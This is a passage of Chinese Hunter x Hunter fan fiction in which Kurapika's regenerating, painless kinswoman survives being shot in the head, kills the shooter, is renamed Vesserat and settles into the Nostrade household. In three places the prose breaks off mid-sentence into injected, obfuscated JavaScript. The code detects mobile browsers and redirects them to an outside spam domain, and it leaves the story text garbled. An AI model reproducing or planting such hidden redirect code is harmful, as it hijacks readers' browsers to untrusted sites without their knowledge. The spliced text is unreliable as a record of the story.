“有些关于我的事情,杰……刚才和你做交易的人可能没告诉你,但你应该知道。因为你想要我的眼睛。” 她说着自己的事,语调没有太多起伏,甚至不如念课文的小学生那样感情充沛,仿佛只是在讨论无关紧要的话题。 “我的治愈能力很强,就算我没有产生至于伤口的意愿,损伤还是会自动恢复。我这么说的意思是,如果你拿走我的眼睛,不用太久它就会长回去——同样的事情,便利屋的人已经试过了,所以我知道。另外,我不清楚怎么才能让眼睛变红,这同样是便利屋的人试过但没有成功的事情。可能我算是残次品,现在退款还来得及。杰……他不让我在交易时说出这种事情,不过现在交易结束了,我觉得可以说了。另外,刚才你问我是不是很冷,我不觉得冷,当然也没感觉热。我对温度不敏感,这是缺失疼痛带来的副作用,放心,不会影响到我的行动。在穿衣服这件事上,我会参考他人的穿着情况,酷拉老板,你不用担心我会变成奇装异服的人。如果你需要我的眼睛,现在还可以退款;如果你需要的是我,我可以留下来。我不擅长和人说话,也不常进行思考,你只要对我下达命令就好,我会完成的。我想说的就是这些。” 这是她说得最长的一段话,到此为止,已经算是完美地收尾了,可她还是在接着说。 “酷拉老板,我只是想把我的问题全都向您摆明,由你来决定我之后要怎样行动。我对任何安排都无所谓,就是别和杰……”她挠了挠后脑勺,彻底想不起杰斯特这个名字了,“别和他重复我刚才对您说的事情,否则会很麻烦。” 酷拉皮卡有点意外。忽然听她说了这么多,喋喋不休的样子真像小时候,只是说出的话语和无起伏的语调太过陌生。他想,必须思考这番平淡话语下藏着什么意思。 被摘掉后还会恢复的眼睛,无法触发火红眼的原因……天知道她经历了什么。 但有一点是不意外的。 “你不是残次品,也不必离开。” 轻轻地,他用手背触碰她。无力的怨恨几乎要膨胀开来,可一旦注视到她冰冷的眼眸,酷拉皮卡甚至觉得自己的双肺都无法再度撑开,难以呼吸。 “你不是被交易的无名之物。你是……” 枪声。 突兀的爆裂声。温热的血溅到酷拉皮卡的脸上,铁锈味充斥在鼻腔,在大脑反应过来之前,反胃感已然不受控地翻上来了。 在枪响之后现状突然变成平铺直叙的碎片。 看到举着□□的男人,一副亡命之徒的慌乱面孔。男人的面孔和通缉令完全一致。男人的背后有追逐着赏金的□□分子。男人试图扫空逃亡之路的障碍。 此刻,阻挡在了男人逃亡之路上的是—— ——被一枪轰碎了头颅的,他失而复得的同胞。 4. 首无x□□x你的名字 即便是将眼前发生的一切形容为“过分突兀”,似乎也还是不够。可是,还能用怎样的字眼用以描绘呢?想不到更多了。 至少在枪响的一秒钟之后,酷拉皮卡的大脑还是处在一种相对空白的状态。他很清楚原因,是他分心了。 分心了,分心地想着维瑟拉特的事,专心地试图用话语填补她内心中未知的空白,以至于完全没有注意到被她的身形所阻挡的身后的动静。 还好,当她的鲜血涂满自己的脸颊时,酷拉皮卡终于回过神来了——其实这也不是什么“还好”的事情——通缉犯惊恐的面孔与追逐着他的□□大手足够证明这是一场关乎性命的逃亡。 到底是酷拉皮卡和十三无意之间闯入了这场逃亡的剧目之中,还是亟待延续的亡命之路不小心蔓延到了无辜者处,根本无所谓,根本没人会关心这种事。只要能达成目标,无论是逃亡者还是追逐者,这两方不会在意要怎么踏平路上的小石子。 维瑟拉特死了,就死在他的眼前……什么都没来得及做,连消化这个消息的时间都没有吧。举起的□□接下来会瞄准他,酷拉皮卡知道,自己必须做出选择。 要立刻带着她的尸体离开吗,还是杀死那个杀了她的人?以眼还眼,尽管不情愿再杀死任何人,但复仇会是合理的杀戮。 或者,他应当…… 有什么在动。 意识到这一点,并非是看到了什么,而是感触。 酷拉皮卡感觉到了,有什么东西从脸上淌过的触感,清晰而明确,绝不是血液伴随重力坠落的那种沉重感。而是……截然相反。 沾染在脸颊上的血迹正一点一点爬上去,凝成一团,缓慢地离开了他的皮肤。铁锈的气味正在收缩,回到破碎的身体中。 维瑟拉特——十三号——动了动。 □□的子弹是从她的身后轰过来的,预期之外的冲击力推着她的上半身不受控制地向前倾,仿佛将要坠地。现在她找回平衡了,缓缓收回不稳的身躯,抬起手,摸了摸自己的脑袋。 什么也没摸到。她的头已经碎得不成样子了。 还好,撒得满地都是的血与骨正在被无形的力拉扯着回到本该所在的位置,破碎的皮肉重新拼起。无数的裂口合拢,血不再落下。 “如果有人在的话,麻烦告诉我。” 像恐怖片,只有下班半张脸完全愈合的她动了动唇,说, “我的头被打中了,对吗?这里没有人吗?我什么也听不到。哦,对,我的耳朵还没恢复好,听不见也很正常。打掉了我脑袋的家伙还在附近吧?稍等,我来了。” 眼睛还要再过一分钟才能完全恢复吧?也可能会更久,但没关系。 把手伸进风衣里,后背内衬下挂着她的刀,敌人的位置只要展开圆就能知道。接下来要做的事情就很简单了,哪怕凭着肌肉记忆也能完成一切。 十三踏着墙面,手中的刀轻巧地劈下去,穿过飞溅的血雨,收割逃窜者最后的吐息。最先愈合的右眼敏锐地捕捉到了□□的踪迹,但举着枪的通缉犯已经不准备再朝她开枪了——他刚才开过了三枪,两次落空,一次击中了她的肩膀,可她的动作完全没有停下,血肉模糊的手臂也以肉眼可见的速度愈合。 到此为止,就算是笨蛋也该反应过来了。通缉犯知道自己没可能拦住她,对他而言活命才是第一要务,还是快逃吧,趁着她那双异色的眼睛还没有看到自己。 直到现在才意识到这一点,真的已经太晚了。他应该在第一声枪响之后就立刻逃离她的视线,拖延到此刻才试图迈步,右腿理所应当般根本无法挪动分毫。十三掷出的刀把他的整条腿钉在了潮湿的地面上。 疼痛是原始的生理反应,随之而来的尖叫与习惯性缩起的身躯也是对痛楚再正常不过的反应,就算自己感觉不到疼痛,十三还是很认同这一点,并不打算对哀嚎不止的通缉犯抱有“做出这种夸张反应的你真是太没用太软弱了”的扭曲心情。 俯身,拾起落在一旁的□□,十三低着头,垂下的红发遮挡住了她的面容,只能看到她一脚踩在他的后背上,踏着嚎叫声,把通缉犯的挣扎压缩到最小限度。 “是你吗,把我的脑袋打烂了?不承认我也知道,因为我看到了,拿枪的人是你。” “抱歉!抱歉!”通缉犯绝望地拧着身子,在这一刻他依然想活着,“留我一命吧,我会报答你的!不管什么我都可以做,我也一定会跪下来给您谢罪的!我……” 咔哒——是上膛的声音打断了他的求命。 “脑袋受伤很麻烦。思维会因为重伤中断的,脑子都被打碎了我还怎么思考?尽管我平时也不思考就是了。抛开脑子的事情,眼睛没了就更麻烦了,我讨厌什么都看不见。用圆探测敌方位置很耗费气的。你知道气吗?我觉得你不知道。在我这里,气是重要的消耗资源,我总是很珍惜地用。相比之下没了耳朵活着嘴巴再或者是四肢我都无所谓,那些都不重要。好了,好了,你别叫,现在是我在说话,等我说完就会继续做事了,所以你别吵。” 她说着,不停地在说,仿佛刚刚愈合的大脑必须吐露出这么多的话语,才能重组说话的能力。 “我知道我乱七八糟地说说了一大堆,你不关心也不一定爱听,所以我会把我的重点再重申一遍。我想表达的意思只有一个,那就是,有人朝我的脑袋攻击的话是很烦的一件事——对我来说治愈脑袋就是非常麻烦的事情。虽然我认为你不一定会记住我说的这些事,因为我一旦开始说很多话就会失去条理性,并且再过十秒钟后我会把你的脑袋轰爆,但我还是觉得很有必要花点时间和你说明一下我的想法。嗯,就是这样。现在我说完了。” “什么?不要——” ——砰。 扳机扣下,子弹出膛,潮湿地面炸出小小的凹坑。 十三呼出长长的一口气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882967|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,抬起眼眸,赤红的右眼从碎发的间隙中窥探,目光落在不远处的酷拉皮卡的身上。她拿着□□的手动了动,枪口抬起了几寸。 自己是不是会成为这把枪击碎的下一个目标?酷拉皮卡完全没有在思考这事,他只是在看着她。 没有伤口,也见不到任何缺失。她束起的发丝散开了,披散在肩头,盖住了肩膀处破损的衣物,只剩下这些能够证明她的伤口曾真实地存在过。 所以,便利屋的杰斯特所说的“暂时没有能够夺走她性命的伤口”,所指的是这样的意思吗? 一定有某种尖锐的情绪流进了他的胸膛里,刺刺的。而这绝不是恐惧——他的同胞不会是令人恐惧的存在,也绝不是什么怪物。 但是,到底发生了什么事,为何她会变成这样? 酷拉皮卡很想说点什么。不一定是劝她放下枪的劝说,他也不确定自己要说出怎样的话语。 在此之前,枪口垂下了。 十三松开手,火红眼在□□掉落在地的那一刻褪去绯色。一只老鼠从她的脚下跑过,她大概是没有看到,一脚踏了上去,吱吱声被碾进砖块里。她垂下右手,伸进口袋,摸索着摸索着,掏出了一团揉皱的油纸。 在几分钟之前,这团油纸里还裹着三明治呢。 她的面孔明显僵了一下,却没有做出更多表情,伸进口袋里的手继续摸索,摸出烟盒。甩一甩,一支香烟也没掉出来。 现在她终于能露出茫然的神情了,抬起眼眸,看着酷拉皮卡。 “我抽掉了最后一支烟,是吗?” 似乎是在和他确认。 与当下暴戾血腥的场景显得好违和的询问。酷拉皮卡迟疑着点了下头。 “三明治,我也吃完了?” “是的。” “哦……” 十三歪过脑袋,抓抓头顶,接着问,关于火红眼的交易是否已经结束了。 “是你买下了我,对吗?”她确认着,异色的眼眸里漾着一层浅薄的茫然,“不好意思,我忘记你的名字了——脑袋被打烂之前的事情我想不起来了,希望这不会给你造成困扰。” 十三不确定自己的措辞是否算得上得体,因为她的新老板(疑似)露出了很受伤的表情,明明她现在完全没有在对他造成任何的伤害。真怪。或者是自己看错了吧。 想说告辞,但她的新老板(疑似)迈步走来,那很痛苦的表情已经完全收拢,他还能对她笑呢。 “我叫……酷拉皮卡。你可能想不起来了,但我是你的朋友。” 他握住她的手,锁链发出微弱的碰撞声,十三忍不住多看了一眼。 一如既往,她很快就收回了视线。 “你好,酷拉老板。你可以叫我——” “维瑟拉特。” 他忽得打断她,以一种决绝的、不容置喙的口吻。 “你的名字是维瑟拉特。” 5. 诺斯拉x谎言x无人怀疑 诺斯拉宅邸的大门敞开时,最后一丝日光刚好沉到地平线之下,天空呈现出一种不算明亮、却也没有彻底昏暗的状态,庭院的灯尚未亮起,影子彻底被地面吞没,直到门内漏出的灯光将影子再度拽长。 十三号——不对,不是十三,她现在知道自己的名字了——维瑟拉特迈过大门,步入明亮的灯光之中。 从友克鑫市郊到诺斯拉宅邸,这段不算太长、好在也没有多仓促的路途期间,维瑟拉特知道了一点关于酷拉皮卡的事情,还有一些关于自己的事情。她正在努力地记住这些崭新的认知。 所有的事情里,最需要牢牢记住的,一定是她的新老板酷拉皮卡目前是诺斯拉家族的一员,除了保镖的工作之外,似乎还在处理家族的一部分事务性工作。考虑到他能够独身前往友克鑫的黑市耗费五亿戒尼购入火红眼(自己),想来在诺斯拉家族拥有一定的实权吧。 然后最好别忘掉的是,他是窟卢塔人,自己也一样,同族的他们在童年时期曾是伙伴。 “但是……出于一些原因,你很早就和大家分开了。具体的情况——关于窟卢塔、关于你、关于我,这些事情,我晚点再详细地和你说吧。” 是在临近诺斯拉宅邸的时候,酷拉皮卡才提及这个话题的,说话时,他还会露出友好到可以称之为温柔的笑意。 “分开之后,在你身上究竟发生了怎样的事情,我一点也不知道。如果你能记得什么的话,请一定要告诉我,好吗?” “好。” 尽管那时候应了好,但她可能没办法完成这个指令。她想不到什么以前的事情。应了这声“好”,也只是自己下意识说出的回答。她太习惯对委托方的请求给出呼应了。 在那之后,酷拉皮卡就没有再说什么了。愈发靠近宅邸,他显得愈发沉默。 而后,日光便沉了下去,时间走到她迈过大门的这一刻,水晶吊灯洒下浅黄色明亮的光,垂下的每颗吊饰都在折射出火彩,映在油画上,将名家的笔触衬托得更加精妙,大抵连价值都能随之翻上几倍吧。 正如疼痛引发的尖叫,有钱人展露财富也是一种自然而然的、近乎生理反应的行为。 维瑟拉特不知道诺斯拉家族的财力和地位究竟如何,在今天之前她完全不知道这个家族的存在——和前段时间在友克鑫闹得沸沸扬扬的拍卖会闹剧一样,是她没有试图去知晓的事情。她一点也不会觉得好奇,也不打算对诺斯拉的地位进行预先推测。没必要这么做。 她知道,她最好低下头,什么也别看,更别对这个家的东西投去多余的目光。这是她少有的经验之谈。 流落到便利屋的时候,她十三岁,分配到的第一份工作是担任卡尔玛拉家小少爷的护卫。 卡尔玛拉庄园在友克鑫市郊的上西森林,僻静且宽阔,从庄园的一头走到另一头,得花上好久。造访时是在冬日,室外花园却浮着一层舒适的暖气,只在夏天开放的花把院子填满,就连护卫犬都戴着黄金链子。屋里更不必说,华丽到真让人怀疑地基也是用钱币筑成的。 她第一次来到这种地方——可能以前也见过相似的场所但是忘记了,此等豪华还是第一次印在她的记忆里。她不自觉地多看了几眼,收回视线时,看到卡尔玛拉家的小少爷在瞪她,白皙细嫩的面庞无比厌恶地皱起来。 你看着我的家的眼神,就像是从没见过漂亮东西一样。真是可怜的家伙。 只比她年长大了一岁的小少爷把嫌弃的话语丢掉地上,然后叫人把她的眼睛挖出来。 那时她还能感觉到一点疼痛。不强烈,但能感觉到,况且被割开的是神经最密集的眼部,即便不叫出来、不无意识地抽搐,她还是会不受控制地缩起肩膀,仿佛这样一来她的疼痛也能被压缩到彻底无影无踪。 还记得小少爷说,她贪婪的眼睛光是存在着就足够叫人讨厌。那时他绝对百分百地嫌弃她。但当她掉落的眼球骤然从地板上消失,连带着鲜血一起回到眼眶的空洞时,他对她的感情彻底变质为了反胃。 接着她就被发配去当掘墓人了,完美地连接上了杰斯特给她的新老板说的那个故事。 当了掘墓人之后的事情,她就说不出多少了,希望新老板别问起这事——维瑟拉特能记住的人生道理以及藏在道理背后的真实经历很少,被挖掉眼睛算是其中一个,所以她必须要适当地控制自己的行为。丢掉眼睛和脑袋受伤在她心里是同一等级的麻烦事。 就这么收敛着目光,最先与诺斯拉家族的老大见了面。如果维瑟拉特抬眸去看,一定会发现,这个叫莱特·诺斯拉的中年男人,脸上的每条皱纹都被焦虑填满。 “Boss,友克鑫黑市流传的售卖火红眼的传闻,是个假消息。很抱歉。” 酷拉皮卡最先说起了此事。 一家之主的憔悴面孔痛苦地皱起来,扑通一声,倒在扶手椅上,指尖不停抚弄着髭须,肯定烦躁透顶了吧。 “意思是说,到了最后,妮翁想要的东西,一样都得不到吗?”他嘀咕着,“拍卖会上花了那么多钱拍下的火红眼是个假货就算了,居然还消失无踪;说有新的火红眼在寻求买家,结果也只是流言而已吗……可恶。还想着如果用妮翁想要的东西哄她高兴,就能重新开始占卜了,结果什么事都不顺利……” 嘀咕到了最后近似抱怨。他很没风度地用拳头猛砸扶手,闹出不大的动静,也没有给自己施加足够让神智和智慧清醒过来的疼痛。真是窝囊的发泄方式。 酷拉皮卡耐心地等待着老大倾泻完所有不满,偶尔向维瑟拉特投去目光。她依旧很安静地站在他的斜后方,和任何时候一样,存在感稀薄到近乎为零。 她会喜欢此地吗?酷拉皮卡不知道。不过,他很庆幸,当他说出“黑市的火红眼是流言”时,她没有戳穿他的谎话。 再稍稍等上两分钟和几次大幅度的喘息,莱特的愤恨差不多全部拢起来了。也是直到这会儿,他才注意到酷拉皮卡身旁的陌生面孔。 郁闷感好像又要被挑起来了,他点燃雪茄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882968|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,用烧红的烟头指着她,“这是哪位?” “希望加入诺斯拉家族的前便利屋员工。她负责过众多护卫工作,是我们需要的人才。您知道的,我们失去了很多伙伴。” 提及糟糕的现实总难免让人心情复杂,莱特当然也一样。他做了个不那么高兴的表情,问酷拉皮卡:“花了多少钱?” 以前完全可以不用在意钱的事情,可在拍卖会的二十九亿丢入水中兼他的摇钱树妮翁最近难以生产金子之后,钱成了他不得不紧紧攥在手里、好好盘算考量的资源。 “一分钱也没花。”酷拉皮卡连眼睛都没有眨一下,“她自愿加入,报酬可未来再谈。” 又是谎言。 从踏进莱特的办公室开始,他尽在说些假话,诚实的美德一定已经彻底远去,但他并不介意,良心也不会作痛。 只要能把人骗过去,即便是漏洞百出的谎话也一定算得上是一百分的杰作。今天他说得每句谎言都算得上是满分,莱特完全没冒出过一丁点的质疑,估计是一分没花的好消息冲淡了他不算聪明的脑袋吧。 如此一来,维瑟拉特在诺斯拉家族的存在就可以合理化了。酷拉皮卡松了口气,带着她退出办公室,沿着长廊继续往外走。 走出一段距离后,听到酷拉皮卡小声说:“不问问我,为什么不和老大说实话吗?” 维瑟拉特瞟了一眼天花板,然后摇头,“不了。” 倒不是信任作祟,只是觉得他这么做一定有他的理由而已。 酷拉皮卡回头看她,扯了扯嘴角,可能是想对她笑,“我只是觉得,把火红眼的事实暴露出来,对你来说不一定好。” 尽管维瑟拉特没有追问,他还是说出了自己的考量。 “我和便利屋的人做出了约定,要求他们不向任何人透露火红眼的去向。如果可以,我希望你不要和任何人说你是窟卢塔的后裔。” “明白。” 意思是需要和他一样撒谎。 维瑟拉特不那么擅长说话,但并非做不到。只要是命令,她会实现的。 继续走在未来会无数次熟悉的这个家中,而后见到了酷拉皮卡的工作伙伴,名为旋律的猎人——“猎人”这个词时介绍时旋律说的,是什么意思维瑟拉特并不明白。 在面对旋律的时候,酷拉皮卡倒是说出了他们是同族的事情。看来他的坦诚是有限度的。 天彻底暗下来。他们步入侧翼楼的地下室,这里的房间会成为以后维瑟拉特的住所。护卫队的多数人员也在此处。 酷拉皮卡看起来很抱歉。没有阳光漏进来的居室一定适合久别重逢的朋友,可惜眼下也做不出更好的选择。维瑟拉特自己倒是无所谓,她在土坑里也能睡着。 “那就……晚安。” 其实现在很适合说说他们分别的那几年的事,可维瑟拉特没有主动问,酷拉皮卡觉得自己好像也没法主动说些什么。 迟疑了小片刻,他合拢房门。 “明天见。” 6. 护卫犬x香烟灰x小瓷盘 与酷拉皮卡分别时,他说了“明天见”,看来是对未来许下的约定。但不管怎么看,这个明天似乎都来得有点太晚。 至少在日历撕掉两页之后,维瑟拉特并没见到酷拉皮卡。再之后也没有。 会不会是他们对于“明天”的定义不同呢?还是因为她正身处地下室,时间的流速要理所应当地变慢?有些想不明白。 其实维瑟拉特并非多么期待能否和酷拉皮卡再次见面,对于他约定好的会告诉她关于过去的事情也没有过多的好奇——期待和好奇都是美好到不会在她的心头逗留太久的情绪。但要是一直困在这种没能履约的不明不白之中,绝不会是什么愉快的体验。好在维瑟拉特根本不会深究这种事,也不觉得没能在约定好的明日再见的酷拉皮卡是背弃了承诺。 不要对老板的行动指手画脚,这是她还能记得的人生道理之二。未来她也会继续铭记的。 既然如此,剩下的可能会让她感到一丁点困扰的事情可能是,她还不知道自己在这个家里需要做些什么。 回忆一下酷拉皮卡说过的话和他的举动——真奇怪,回忆总是轻而易举就会溜走,和他有关的这点事情倒是暂时能够清晰地停留在她记忆力不佳的脑袋里,稍稍调动一下心思就能全部想起来。 难道说她的脑袋终于要变得灵光起来了吗?应该不是吧,怎么想都不太可能。所以维瑟拉特很识相地只允许这个荒诞的念头停留了两秒钟,随后果断将其丢出了大脑。 还是回到原本的、与她的新老板酷拉皮卡有关的思路上。 从他说过的话语中,百分百能够推断出的信息是,他不需要她的火红眼,暂时可以不必担心眼睛被挖出来。他似乎还很希望自己能好好地活下去,这下连姓名都不用太担心了。而能够留在诺斯拉家族的原因,是酷拉皮卡把正义的不行的“她愿意加入我们”冠冕堂皇地套在了她的头上,明明她从来都不是会说出此等高尚发言的家伙。 无论如何,她现在确实已经成为这个巨大(也可能不算太大)家族中的一员,理应付出相应的劳动以换取报酬,否则她就只是个吉祥物而已。游走在□□的家族可不需要什么吉祥物。果然还是得问问自己需要做的事情是什么吧? 意识到这一点时,刚好是她来到诺斯拉家的第五天,可直到第六天她还是没有机会把问题丢出去。地下室本来就没有住着多少人,酷拉皮卡依然不见其形。她有理由怀疑,自己的存在已经被完全忘记了。 想了想,在第七天的傍晚,她走出了房间。 她不擅长也不喜欢主动做事情,可现在的被动局面实在是太过局限了,相较之下还不如主动问问能做的事情。正巧,她也需要到一个通风的地方抽烟。地下房间不算太好的通风效果对于日常生活来说算得上够用,可对于燃烧烟草来所产生的气味来说,就显得有点难以负荷了。维瑟拉特一点也不希望自己被熏成尼古丁的气味,那闻起来又臭又邋遢。 “一天能抽掉一整包香烟的你居然会讨厌自己的身上有烟味?简直不可思议!”——肯定有人会忍不住发出这样的质问。 好像确实有人问过这话,当时自己是怎么回答的?完全忘记了。不过现在,她八成会说,不想变得臭烘烘是人之常情,身上带有气味也会对工作产生影响。 把烟盒和火柴揣进口袋,维瑟拉特沿着楼梯向上,推开角落的小门,缩着身子钻过去。 门后是庭院最荒芜的一角,储着一层会让草叶结霜的寒意,和卡尔玛拉家暖烘烘的室外庭院完全不同,好在这时候的维瑟拉特完全没有想起半点和老雇主的华美庭院有关的事情,自顾自裹紧风衣,朝不远处的围墙走去。她觉得那里很适合她靠着做点放空大脑的事情。 稍稍往前走了一点,才发现冷清的庭院角落其实也没那么冷清。另一侧的围墙脚下摆着好几个狗屋,却见不到它们的住民,那些狗正围坐在一个女人的身边,和她一样耷拉着眼皮,看起来恹恹的。 往前走的途中,隐约感觉到女人看了看自己,不过维瑟拉特没有回以目光。她没那么好奇。 赶紧走到目的地,掏出烟盒和火柴,有几只好奇的小狗凑过来了,扬着比她的拳头大不了多少的脑袋看她,一直在她的脚边打转,可能是觉得陌生的面孔很新奇。维瑟拉特不太想搭理它们,把火柴划过红磷砂纸,火苗蹭一下跳起来。小狗兴奋的兴奋感貌似也被一起点燃了,在她脚边不停地跳,伸出爪子扒拉她的风衣,拽得她的肩膀都在往下掉。 好吧,看来是没办法相安无事了。想要安心抽烟,就不得不搭理这些小东西才行。 维瑟拉特点燃烟头,把香烟叼在嘴里,腾出的一只手赶紧把衣摆捞起来,撩到小狗碰不到的高度,捏着火柴的另一只手也匆忙甩了甩,把快要舔到指尖的火舌熄灭,她可不希望自己的衣服也被烧着。这件风衣很好穿的。 小狗依然对她的行动好奇,肯定也觉得她乱七八糟的动作很像在耍杂技,也难怪它们又蹦跶着靠过来了。维瑟拉特抬起腿,用鞋尖挨个把它们推开,可惜下一秒,小狗们还是会固执地凑过来,害她忙忙碌碌却得不到半点成果,就连消遣的抽烟都成了忙中偷闲的奢侈。 第无数次把白色卷毛的小狗推到旁边,找准了眼前好不容易才腾出来的一片空地,维瑟拉特伸直手臂,指尖熟稔地弹了下香烟,烟灰扑朔着落下来,掉进草叶的间隙,倏地就失去了燃烧的鲜红色。 “抱歉。” 身后传来了女人的声音,很年轻,但带着一点提不起劲的沙哑,还有浓重的鼻音。 维瑟拉特原本没打算回头的。她以为这声音不是在对自己说话,可接下来的内容是:“不要把烟灰抖在这里。” 既然是和香烟有关的话题,看来确实是在对她说没错了。 维瑟拉特停住了所有动作,香烟依然在燃烧,留下一截摇摇欲坠的灰烬尾巴。回头,刚才那个和狗们待在一起的年轻女性正看着她。刚才的警告——算是警告吧?——就是她对自己说的。 大概能算是好消息的消息是,她看起来并不生气,看起来不像是要指责维瑟拉特的样子,苍白的脸颊只是泛着一层纯粹的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882969|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了无活力。 “烟灰会把枯草点燃的。现在是秋天,什么都很干燥。” 她说着,和刚才如出一辙有些沙哑沉闷的嗓音,真想不到一张清丽的面孔会发出这样的声音。 “如果起火了,会很糟糕的。所以你不该把烟灰抖在草地上。” “好。” 维瑟拉特点点头,摊开手掌,把烟灰抖进手心里。 这样就不会导致火灾了吧? 维瑟拉特觉得自己找到了完美的解决方针,可不知道为什么,对方苍白的面孔却一下子变得更白了,还浮起了一层惊恐。她匆忙跑过来,看着维瑟拉特的手掌,好紧张的样子。 “我说话的语气太不合适了,是吗?但就算你对我生气了,也不能把烟灰抖到手上啊,会疼的!” 她几乎要叫起来。 维瑟拉特有点懵。她没觉得对方的语气存在什么问题,当然也没生气——通常来说,只有在她的脑袋被打爆的时候,她才会冒出一点尖锐炽热的心情,且远远达不到“愤怒”,充其量只是“恼怒”而已。她现在完全没有这种感觉。 疼痛更不存在。她没有痛觉。 “不把烟灰抖在地上的话,就没地方可以放了。”她坦诚地说,“只能抖到手里。” 可能是她说话时露出了很诚恳的表情,也有概率是维瑟拉特长得就不像是会阴阳怪气的家伙,对方对她直白到显得笨拙的话语只感到无奈,还有一丁点的苦恼。 “好吧,好吧……”她费劲地想了想,对维瑟拉特说,“你稍稍等我一下,我去找个能接烟灰的东西。等我,好吗?” “好。” 她笑了一下,跑走了,留下维瑟拉特和小狗们。这些调皮的家伙又开始折腾她的衣摆了。 维瑟拉特感到有些别扭。她应该不能再把烟灰抖到地上了,抖进手心里也不行,那还能怎么办?她觉得自己被封印了,动一下烟灰就会落到不该去的地方。那人什么时候回来呢?维瑟拉特不想太急切,可这个问题果然还是一直在脑袋里打转。 就这么僵在原地,短暂的时间也会显得分外漫长。维瑟拉特努力保持着指尖的静止,在心里数着秒。 可能是第三百秒,身后传来了脚步声,仓促地踏过草坪。小狗们欢快地跑过去,维瑟拉特终于感到了一点轻松。 几秒之后,她跑过来了,捧着瓷盘,呼吸好急促,苍白的脸颊终于泛起一层绯色。 她手里捧着的小瓷盘很漂亮,印着各种各样的夏花,平常估计也是用来装茶点的,没想要盛烟灰,好像有点格格不入,但是…… “我找不到别的了,干脆就用这个吧。” 可能她也觉得自己的行动焦急到有点好笑,嘴角不自觉地翘了起来,久违的笑容透着不熟练的僵硬。 “我好像还没有和你介绍过自己。我叫亚里砂,是妮翁小姐的侍女。你呢?” 抖落烟灰,掉进盘子里。 “我叫十三……维瑟拉特。这是我的名字。” 她第一次说出这个名字——她的名字。 7.痛楚x自白x不必再害怕 不笑的亚里砂看起来像是一道被悲伤攫住的影子,直到她笑起来,维瑟拉特才意识到,她是和自己有点相似的同龄人。 好吧,可能也没那么相似。她是在黑市长大、靠完成任务(杀人)谋生的家伙,亚里砂显然不是,就算性质差不多,诺斯拉家族肯定比友克鑫的便利屋更好一点。 小狗依然在绕着她打转。它们看起来闷闷不乐,和饲养他们的亚里砂一样。 不过,亚里砂重新回来了之后,这些毛茸茸的小东西们就稍稍开心一点了。它们终于放过维瑟拉特的风衣了,撒开腿跑到亚里砂的身边,同她挨得好近好近,一定有好多温热且臭烘烘的小狗气息喷在了她的和服衣袖上,她却完全不在意,垂下手,挨个拂过这些柔软的脑袋。 “你肯定在想,我为什么要养这么多狗,是吗?”亚里砂忽然说,话语中带着一点自嘲般的轻笑。 手中的这支香烟马上就要燃尽了,能感觉到飘过来的尼古丁烟雾正在把指尖熏臭。维瑟拉特干脆揿灭了烟头,应了一句“没有”。 她完全没在想亚里砂的事情,对于狗也不好奇。 但亚里砂肯定是误解了,误将她的漠不关心曲解为好心的谎话,笑容看起来更加苦涩。 “你在这个家主要负责些什么工作呢?”亚里砂换了个话题。 维瑟拉特抓了抓脑袋,“不知道。” “……不知道?” “嗯。”她维瑟拉特抽出了又一根香烟,划亮火柴,“酷拉老板还没和我说过具体的工作。” “啊,是吗……” 亚里砂的眼眸似乎颤了颤,表情透着一点僵硬的不自在,但她很快就低下头去,什么情绪都会被随之藏起。 其实不遮掩也无妨,维瑟拉特不会留意到的。她没那么认真,不会在说话时会看着对方的面孔甚至眼睛。 如果认真观察,或许会注意亚里砂不想深谈的些微抗拒感,可一开口,她忍不住说的依然是刚才的话题,“也就是说,你是酷拉皮卡先生的下属吗?” 维瑟拉特想了想,“是吧。” 她自己也不知道。 “你也会负责保镖和护卫的工作吗?酷拉先生目前已经接替达佐孽先生的空缺,承担了诺斯拉家族大部分的安保调度,想来作为下属的你应该也是负责差不多的工作内容吧?” “是吧。”她依然不知道。 不过,倒是顺便知道了一点和新老板有关的事情。 亚里砂笑了一下——或是说,她扯了扯嘴角,因为这僵硬的弧度实在不像是笑容。她伏低了身,继续哄着身旁的小狗们,很忽然地对维瑟拉特说,你要小心。 “这里的工作,还挺危险呢。”她微弱的声音几乎要散在草叶里。 维瑟拉特抖抖烟灰,忽然发现漂亮盘子里已经积攒起了焦油味的小山。她应了声“好”。 “你看起来完全不怕呢。好勇敢。不过,人的生命还是太脆弱了,死了的话,就……”她顿了顿,忽得仰起头来,眼眸浮着一层很浅的水汽,“还没告诉你呢,这些狗不是我养的。和你一样,它们的主人以前也是这个家的保镖……我们是恋人。” “好。” 对于满怀痛楚的自白相比,过分简单的回应一定会显得她满不在意,还好亚里砂并不在意。 